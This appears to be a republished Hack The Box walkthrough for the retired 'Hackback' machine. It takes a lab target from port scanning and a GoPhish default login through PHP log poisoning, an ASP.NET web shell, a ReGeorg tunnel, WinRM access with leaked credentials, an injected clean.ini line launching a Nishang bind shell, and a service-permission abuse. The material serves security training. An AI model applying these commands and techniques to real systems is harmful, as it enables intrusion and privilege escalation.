Hackback: Hack The Box Walkthrough
source link: https://www.tuicool.com/articles/bEJnmu3
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
This post documents the complete walkthrough of Hackback, a retired vulnerable VM created by decoder and yuntao , and hosted at Hack The Box . If you are uncomfortable with spoilers, please stop reading now.
Background
Hackback is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.128 --rate=700 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-24 09:28:23 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 6666/tcp on 10.10.10.128 Discovered open port 80/tcp on 10.10.10.128 Discovered open port 64831/tcp on 10.10.10.128
Interesting ports. I wonder what’s behind 6666/tcp
and 64831/tcp
. Let’s do one better with nmap
scanning the discovered ports for their services.
# nmap -n -v -Pn -p80,6666,64831 -A --reason -oN nmap.txt 10.10.10.128 ... PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 6666/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Site doesn't have a title. 64831/tcp open ssl/unknown syn-ack ttl 127 | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 404 Not Found | Content-Type: text/plain; charset=utf-8 | Set-Cookie: _gorilla_csrf=MTU1MzQ0NTQzNnxJakZqTUV0TlRURmtUVlV5YTBaRWIzUklSMHQ0YmpoTlNrWnJUWFIxWVRaSk0waHBWR0p6UzB0eFowMDlJZ289fDAm43ydMhrxU5n-bsYG2pz7yykrlkaTIL1hCJkKpxDw; HttpOnly; Secure | Vary: Accept-Encoding | Vary: Cookie | X-Content-Type-Options: nosniff | Date: Sun, 24 Mar 2019 16:37:16 GMT | Content-Length: 19 | page not found | GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 302 Found | Content-Type: text/html; charset=utf-8 | Location: /login?next=%2F | Set-Cookie: _gorilla_csrf=MTU1MzQ0NTQwM3xJakZUVkhGeVkweFJOR1ExVFRCWVEzaHFTbmMwV0U4MVNrSTRXa2hhYlV4Q2QyNDVVRGhJU1ZwTmJYTTlJZ289fPFNopMuhruNfofTG6cbxQzb2QyqSIKlotn9FZCDP7_c; HttpOnly; Secure | Vary: Accept-Encoding | Vary: Cookie | Date: Sun, 24 Mar 2019 16:36:43 GMT | Content-Length: 38 | href="/login?next=%2F">Found</a>. | HTTPOptions: | HTTP/1.0 302 Found | Location: /login?next=%2F | Set-Cookie: _gorilla_csrf=MTU1MzQ0NTQwM3xJa0V5TW1SV1dIcHZWWE4xYUZWMWNHOXFkMkpOYVhsSGMwaHZhVGwxVkdnck5IUmtjVk5LVFVscGJVVTlJZ289fDzRbEDr11TPhOC9V7csi1I9ownxt3l7hQSe1wMuVnhy; HttpOnly; Secure | Vary: Accept-Encoding | Vary: Cookie | Date: Sun, 24 Mar 2019 16:36:43 GMT |_ Content-Length: 0 | ssl-cert: Subject: organizationName=Gophish | Issuer: organizationName=Gophish | Public Key type: ec | Public Key bits: 384 | Signature Algorithm: ecdsa-with-SHA384 | Not valid before: 2018-11-22T03:49:52 | Not valid after: 2028-11-19T03:49:52 | MD5: a00e abee 5be1 2925 7276 a5d7 df2f c1b4 |_SHA-1: 1124 a9ee 28ba 3656 312e a925 c6ea 3010 be63 d1af
Turns out to be a bunch of http
and ssl/http
services. Here’s how they look like.
80/tcp
6666/tcp
64831/tcp
GoPhish
GoPhish sure looks interesting. By the way, the default credential ( admin:gophish
) allows us to log in. The following email templates also show the virtual hosts that need to be added to /etc/hosts
.
Obfuscated JavaScript
Among the virtual hosts, only admin.hackback.htb
offers a real clue on where to proceed. Here’s how it looks like.
And check out the HTML source!
gobuster
is quick to find the hidden JavaScript.
# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e -t 20 -x js -u http://admin.hackback.htb/js/ ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://admin.hackback.htb/js/ [+] Threads : 20 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : js [+] Expanded : true [+] Timeout : 10s ===================================================== 2019/03/24 10:58:20 Starting gobuster ===================================================== http://admin.hackback.htb/js/private.js (Status: 200)
Here’s how the hidden JavaScript looks like.
The script is encrypted with a simple Caesar cipher. tr
can easily decipher it.
# tr 'a-zA-Z' 'n-za-mN-ZA-M' < obf.js
After deciphering and pretty-printing it, this is what it looks like.
var a = [ 'WxIjwr7DusO8GsKvRwB+wq3DuMKrwrLDgcOiwrY1KEEgG8KCwq7Dl8K3', 'AcOMwqvDqQgCw4/Ct2nDtMKhZcKDwqTCpTsyw7nChsOQXMO5W8KpDsOtNCDDvAjCgyk=', 'w5HDr8O7dDRmMMKJw4jDlVRnwrt7w7s0wo1aw7sAQsKsfsOEw4XDsRjClMOwFzrCmzpvCAjCuBzDssK9F8O4wqZnWsKh' ]; (function (c, d) { var e = function (f) { while (--f) { c['push'](c['shift']()); } }; e(++d); }(a, 102)); var b = function (c, d) { c = c - 0; var e = a[c]; if (b['MsULmv'] === undefined) { (function () { var f; try { var g = Function('return (function() ' + '{}.constructor("return this")( )' + ');'); f = g(); } catch (h) { f = window; } var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; f['atob'] || (f['atob'] = function (j) { var k = String(j) ['replace'](/=+$/, ''); for (var l = 0, m, n, o = 0, p = ''; n = k['charAt'](o++); ~n && (m = l % 4 ? m * 64 + n : n, l++ % 4) ? p += String['fromCharCode'](255 & m >> ( - 2 * l & 6)) : 0) { n = i['indexOf'](n); } return p; }); }()); var q = function (r, d) { var t = [ ], u = 0, v, w = '', x = ''; r = atob(r); for (var y = 0, z = r['length']; y < z; y++) { x += '%' + ('00' + r['charCodeAt'](y) ['toString'](16)) ['slice']( - 2); } r = decodeURIComponent(x); for (var A = 0; A < 256; A++) { t[A] = A; } for (A = 0; A < 256; A++) { u = (u + t[A] + d['charCodeAt'](A % d['length'])) % 256; v = t[A]; t[A] = t[u]; t[u] = v; } A = 0; u = 0; for (var B = 0; B < r['length']; B++) { A = (A + 1) % 256; u = (u + t[A]) % 256; v = t[A]; t[A] = t[u]; t[u] = v; w += String['fromCharCode'](r['charCodeAt'](B) ^ t[(t[A] + t[u]) % 256]); } return w; }; b['OoACcd'] = q; b['qSLwGk'] = { }; b['MsULmv'] = !![]; } var C = b['qSLwGk'][c]; if (C === undefined) { if (b['pIjlQB'] === undefined) { b['pIjlQB'] = !![]; } e = b['OoACcd'](e, d); b['qSLwGk'][c] = e; } else { e = C; } return e; }; var x = 'Secure Login Bypass'; var z = b('0x0', 'P]S6'); var h = b('0x1', 'r7TY'); var y = b('0x2', 'DAqg'); var t = '?action=(show,list,exec,init)'; var s = '&site=(twitter,paypal,facebook,hackthebox)'; var i = '&password=********'; var k = '&session='; var w = 'Nothing more to say';
Running it reveals the secret path to be /2bb6916122f1da34dcd916421e531578
.
Let’s use wfuzz
on the path and see what we can find.
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt --hc 404 -t 20 http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/FUZZ ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/FUZZ Total requests: 2377 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000004: C=400 80 L 276 W 3420 Ch "/%3f/" 002179: C=403 57 L 191 W 2452 Ch "/Trace.axd" 002287: C=302 0 L 0 W 0 Ch "/webadmin.php" Total time: 26.46782 Processed Requests: 2377 Filtered Requests: 2374 Requests/sec.: 89.80714
Recall that the deciphered JavaScript had some other parameters listed?
var t = '?action=(show,list,exec,init)'; var s = '&site=(twitter,paypal,facebook,hackthebox)'; var i = '&password=********'; var k = '&session='; var w = 'Nothing more to say';
Let’s put them into lists and fuzz some more!
actions.txt
# cat actions.txt show list exec init
sites.txt
# cat sites.txt twitter paypal facebook hackthebox
Long story short, after several rounds of fuzzing, I discovered that the password (a.k.a secret key) is 12345678
and the session (a.k.a identifier or PHPSESSID) is actually the SHA256 digest of my IP address.
With two of the values narrowed down, we can go ahead and fuzz the other two parameters: action
and site
.
# wfuzz -w actions.txt -w sites.txt --hc 404 "$URL?action=FUZZ&site=FUZ2Z&password=$PW&session=$SESS" ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=FUZZ&site=FUZ2Z&password=12345678&session=d6f6d9ea1aa952064edbb93f22453e96ca29e7fdf042d7a47218d39aac3048bf Total requests: 16 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000001: C=302 0 L 0 W 0 Ch "show - twitter" 000002: C=302 0 L 0 W 0 Ch "show - paypal" 000003: C=302 0 L 0 W 0 Ch "show - facebook" 000004: C=302 0 L 0 W 0 Ch "show - hackthebox" 000005: C=302 5 L 9 W 37 Ch "list - twitter" 000006: C=302 5 L 9 W 37 Ch "list - paypal" 000007: C=302 5 L 9 W 37 Ch "list - facebook" 000008: C=302 6 L 12 W 117 Ch "list - hackthebox" 000009: C=200 0 L 2 W 15 Ch "exec - twitter" 000010: C=200 0 L 2 W 15 Ch "exec - paypal" 000011: C=200 0 L 2 W 15 Ch "exec - facebook" 000012: C=200 0 L 2 W 15 Ch "exec - hackthebox" 000014: C=302 0 L 1 W 5 Ch "init - paypal" 000015: C=302 0 L 1 W 5 Ch "init - facebook" 000016: C=302 0 L 1 W 5 Ch "init - hackthebox" 000013: C=302 0 L 1 W 5 Ch "init - twitter" Total time: 0.978299 Processed Requests: 16 Filtered Requests: 0 Requests/sec.: 16.35491
You can see that “list - hackthebox” stands out from the rest.
# curl -i "$URL?action=list&site=hackthebox&password=$PW$&session=$SESS" HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Location: / Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.2.7 Set-Cookie: PHPSESSID=d6f6d9ea1aa952064edbb93f22453e96ca29e7fdf042d7a47218d39aac3048bf; path=/ X-Powered-By: ASP.NET Date: Mon, 25 Mar 2019 14:49:55 GMT Content-Length: 117 Array ( [0] => . [1] => .. [2] => e691d0d9c19785cf4c5ab50375c10d83130f175f7f89ebd1899eee6a7aab0dd7.log )
The login attempts to the site www.hackthebox.htb
are recorded in the log bearing my session.
Using curl
, we can display the contents of the log.
curl -i -b "PHPSESSID=$SESS" "$URL?action=show&site=hackthebox&password=$PW&session=$SESS"
where,
-
URL
is../2bb6916122f1da34dcd916421e531578/webadmin.php
-
PW
is12345678
-
SESS
is the SHA256 digest of my IP address
Logging in to the site
Login attempt recorded
I smell PHP log poisoning…
PHP Log Poisoning
During enumeration, all the handy PHP functions to display PHP information (e.g. phpinfo
), execute commands (e.g. shell_exec
, exec
, etc.), open sockets (e.g. fsockopen
) were observed to be disabled.
We can still list directories with var_dump(scandir())
and getcwd()
, and read/write files through base64_encode(file_get_contents())
and file_put_contents(base64_decode())
respectively.
The creators didn’t leave us to die. Notice that the site is powered by both PHP/7.2.7 and ASP.NET?
X-Powered-By: PHP/7.2.7 X-Powered-By: ASP.NET
We still have ASP.NET!
By combining ASP.NET and PHP, I was able to upload a rudimentary shell that executes commands as long as the command is not cmd.exe
, powershell.exe
, cscript.exe
and wscript.exe
. We can also execute wmic.exe
for system enumeration, woohoo!
Additional services?
Firewall rules
You can see that only TCP ports 80,6666,64831
are allowed inbound, and nothing else. Outbound connections are denied altogether.
With that in mind, let’s set up ReGeorg , a SOCKS tunnel over HTTP.
Set up SOCKS tunnel with ReGeorg
I’ve chosen the ASP.NET tunnel.aspx
because obviously many of the PHP functions were disabled.
Once that’s done, we can use proxychains
to access the additional services. But first, we need some credentials from C:\inetpub\wwwroot\new_phish\web.config.old
.
WinRM/WSMan and PowerShell
Armed with the credential ( simple:ZonoProprioZomaro:-(
) and the latest version of the Ruby WinRM library , we can do something like this.
cmd.rb
require 'winrm' opts = { endpoint: 'http://10.10.10.128:5985/wsman', user: 'simple', password: 'ZonoProprioZomaro:-(' } # Powershell commands cmd = ARGV[0] conn = WinRM::Connection.new(opts) conn.shell(:powershell) do |shell| output = shell.run(cmd) do |stdout, stderr| STDOUT.print stdout STDERR.print stderr end puts "The script exited with exit code #{output.exitcode}" end
I’m able to execute PowerShell commands as simple
in the box!
In conjuntion with cmd.rb
, I wrote another Python script (I’m not too familiar with Ruby) to simulate a PowerShell session.
shell.py
from cmd import Cmd import os class Shell(Cmd): def do_quit(self, line): """Quits the shell""" print "Quiting" raise SystemExit def default(self, line): os.system("proxychains ruby cmd.rb " + "'" + line + "'" + " | sed '1d' ") if __name__ == "__main__": s = Shell() s.prompt = 'PS> ' s.cmdloop("Windows PowerShell\nCopyright (C) Microsoft Corporation. All rights reserved.\n")
During enumeration of simple
’s account, I notice a phenomenon going on at c:\util\scripts
. The presence of clean.ini
suggests that hacker
reads and parses this file when dellog.bat
is executed every five minutes (I also notice hacker
logs in every 5 minutes).
Here’s the layout of c:\util\scripts
. Note that dellog.bat
is hidden.
This is how dellog.bat
looks like. I don’t have the permissions to read dellog.ps1
but I believe the parsing of clean.ini
is done here.
This is how clean.ini
looks like.
Long story short, I deleted clean.ini
to observe the effect it has on dellog.ps1
— LogFile
parameter introduces a command execution vulnerability (after a couple of resets). Check this out:
[Main] LifeTime=100 LogFile=c:\util\scripts\log.txt & <command> Directory=c:\inetpub\logs\logfiles
The ampersand &
introduces the command execution vulnerability, any command after it gets executed. With this in mind, we can run a bind shell with Nishang’s Invoke-PowerShellTcp.ps1
.
And guess what? simple
can modify clean.ini
!
This is how clean.ini
will look like.
[Main] LifeTime=100 LogFile=c:\util\scripts\log.txt & powershell -nop -nologo -noninteractive -exec bypass -f "c:\users\public\documents\bs.ps1" Directory=c:\inetpub\logs\logfiles
Five minutes is ample time to echo
the above line by line into clean.ini
but a faster way is to encode it as base64
, and then decode it back to clean.ini
like so.
$a = [System.Convert]::FromBase64String("W01haW5...ZmlsZXMK"); $b = [System.Text.Encoding]::UTF8.GetString($a); echo $b > c:\util\scripts\clean.ini
Of course, we also need to upload bs.ps1
, which is Invoke-PowerShellTcp.ps1
with the bind shell configuration appended at the end of the file.
Invoke-PowerShellTcp -Bind -Port 8888
Once that’s done, we just have to wait for hacker
to execute our ‘payload’.
Although the firewall only allows inbound connections to three ports, we still have our tunnel going on. As such, we can simply nc
to the box through the tunnel.
Voila! Honestly, that’s a lot of work for user.txt
Privilege Escalation
During enumeration of hacker
’s account, I notice a suspicious-looking service UserLogger
that hacker
is able to start/stop.
Look at the ACE string highlighted above. Notice that hacker
doesn’t have full control to the service, but that’s good enough for me. Here’s why.
I downloaded the executable c:\windows\system32\UserLogger.exe
and reverse-engineered it. It’s packed by UPX, which can be easily unpacked with UPX, of course.
The service accepts an argument! When SCM (Service Control Manager) starts the service with an argument, i.e. the path of the logfile, the service proceeds to elevate the logfile’s permissions to Full Control for Everyone.
With that in mind, let’s do something like this.
The colon :
at the end of the path allows us to ignore or bypass the pesky .log
from appending or concatenating itself to the path, writing to the Alternate Data Stream (ADS) of the file instead. Time to read root.txt
!
Only to get trolled, bad.
…
Recall the service turning the permissions to Full Control for Everyone on the file path? Perhaps, it would work on a folder path as well? Let’s give it a shot.
Holy smoke, I can access the folder!
Too bad there’s no auto-inheritance.
I can also create any folder in C:\Users\Administrator
. Let’s create a test
folder. Once that’s done, I can copy root.txt
to this test
folder where hacker
has full control over it.
The creators can’t be that evil. I’m sure the actual flag is hidden in an Alternate Data Stream (ADS). Because I suck at guessing, let’s list down all the streams.
PS C:\users\administrator\test> Get-Item root.txt -stream * PSPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test\root.txt::$DATA PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test PSChildName : root.txt::$DATA PSDrive : C PSProvider : Microsoft.PowerShell.Core\FileSystem PSIsContainer : False FileName : C:\users\administrator\test\root.txt Stream : :$DATA Length : 1958 PSPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test\root.txt:.log PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test PSChildName : root.txt:.log PSDrive : C PSProvider : Microsoft.PowerShell.Core\FileSystem PSIsContainer : False FileName : C:\users\administrator\test\root.txt Stream : .log Length : 116 PSPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test\root.txt:flag.txt PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test PSChildName : root.txt:flag.txt PSDrive : C PSProvider : Microsoft.PowerShell.Core\FileSystem PSIsContainer : False FileName : C:\users\administrator\test\root.txt Stream : flag.txt Length : 35
Of course, flag.txt
is the name of the stream. Silly me. Reading the ADS is now a piece of cake.
Afterthought
Don’t let the look of a donkey fool you. What a donkey ride.
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK